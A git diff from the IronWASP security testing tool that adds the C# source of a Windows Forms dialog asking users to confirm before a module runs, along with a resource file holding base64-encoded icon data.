this.DisplayRTB.Rtf = SB.ToString(); - } - - public ModuleStartPromptForm() - { - InitializeComponent(); - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - this.ModuleAuthroized = true; - this.Close(); - } - - delegate void CloseForm_d(); - internal void CloseForm() - { - if (this.InvokeRequired) - { - CloseForm_d CF_d = new CloseForm_d(CloseForm); - this.Invoke(CF_d, new object[] { }); - } - else - { - this.Close(); - } - } - - delegate void ShowError_d(string Error); - internal void ShowError(string Error) - { - if (this.InvokeRequired) - { - ShowError_d SE_d = new ShowError_d(ShowError); - this.Invoke(SE_d, new object[] { Error }); - } - else - { - this.StatusLbl.Text = Error; - this.StatusLbl.ForeColor = Color.Red; - this.RunModuleBtn.Enabled = false; - this.ProgressBarPanel.Visible = false; - } - } - - private void RunModuleBtn_Click(object sender, EventArgs e) - { - this.ProgressBarPanel.Visible = true; - this.StatusLbl.Text = "Loading Module....."; - //this.ProgressPB.PerformStep(); - this.ModuleAuthroized = true; - IronThread.Run(Module.LoadModule, this.DisplayedModule); - } - - private void ModuleStartPromptForm_FormClosing(object sender, FormClosingEventArgs e) - { - IsClosed = true; - Module.RemovePromptWindowFromList(this.DisplayedModule); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class ModuleStartPromptForm : Form + { + internal Module DisplayedModule = new Module(); + internal bool ModuleAuthroized = false; + internal bool IsClosed = false; + + internal void SetModule(Module M) + { + this.DisplayedModule = M; + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + if (M.Category.Equals("My Downloads")) + { + SB.Append(@" \par \qc \fs20 \cf3 This Module was downloaded by you and was not included along with IronWASP. Therefore the details displayed below are unverified, only run this Module if you trust the source you recieved this Module from. \cf0 \par \par"); + } + else + { + SB.Append(@" \par \qc \fs15 \cf3 Modules are not internal components of IronWASP. These are seperate tools written by other developers and therefore require user permission before running. \cf0 \par \par"); + } + SB.Append(string.Format(@" \qc \fs30 {0} \par \fs20 \ql", M.DisplayName)); + StringBuilder InfoBuilder = new StringBuilder(); + InfoBuilder.Append(string.Format(">>>Name:>>{0}>", M.Name)); + InfoBuilder.Append(string.Format(">>Author:>>{0}>", M.Author)); + InfoBuilder.Append(string.Format(">>Project Home:>>{0}>", M.ProjectHome)); + InfoBuilder.Append(string.Format(">>Description:>>>>{0}", M.Description)); + SB.Append(Tools.RtfSafe(InfoBuilder.ToString())); + this.DisplayRTB.Rtf = SB.ToString(); + } + + public ModuleStartPromptForm() + { + InitializeComponent(); + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + this.ModuleAuthroized = true; + this.Close(); + } + + delegate void CloseForm_d(); + internal void CloseForm() + { + if (this.InvokeRequired) + { + CloseForm_d CF_d = new CloseForm_d(CloseForm); + this.Invoke(CF_d, new object[] { }); + } + else + { + this.Close(); + } + } + + delegate void ShowError_d(string Error); + internal void ShowError(string Error) + { + if (this.InvokeRequired) + { + ShowError_d SE_d = new ShowError_d(ShowError); + this.Invoke(SE_d, new object[] { Error }); + } + else + { + this.StatusLbl.Text = Error; + this.StatusLbl.ForeColor = Color.Red; + this.RunModuleBtn.Enabled = false; + this.ProgressBarPanel.Visible = false; + } + } + + private void RunModuleBtn_Click(object sender, EventArgs e) + { + this.ProgressBarPanel.Visible = true; + this.StatusLbl.Text = "Loading Module....."; + //this.ProgressPB.PerformStep(); + this.ModuleAuthroized = true; + IronThread.Run(Module.LoadModule, this.DisplayedModule); + } + + private void ModuleStartPromptForm_FormClosing(object sender, FormClosingEventArgs e) + { + IsClosed = true; + Module.RemovePromptWindowFromList(this.DisplayedModule); + } + } +} diff --git a/Iron/ModuleStartPromptForm.resx b/Iron/ModuleStartPromptForm.resx new file mode 100644 index 0000000..c0d1bbb --- /dev/null +++ b/Iron/ModuleStartPromptForm.resx @@ -0,0 +1,1918 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT7EAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TzfRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT/7Rl083AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0phPANGXT7vRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0+705hQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPQdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0//0ZdPQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08A0ZdPxdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPxdGXTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08B0ZdP1NGXT//Rl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP09GXTwEAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwZLS0tR0ZdPXNGX + T//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPW0tL + S1JLS0sGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S2dLS0vgiG5NCdGXT93Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + 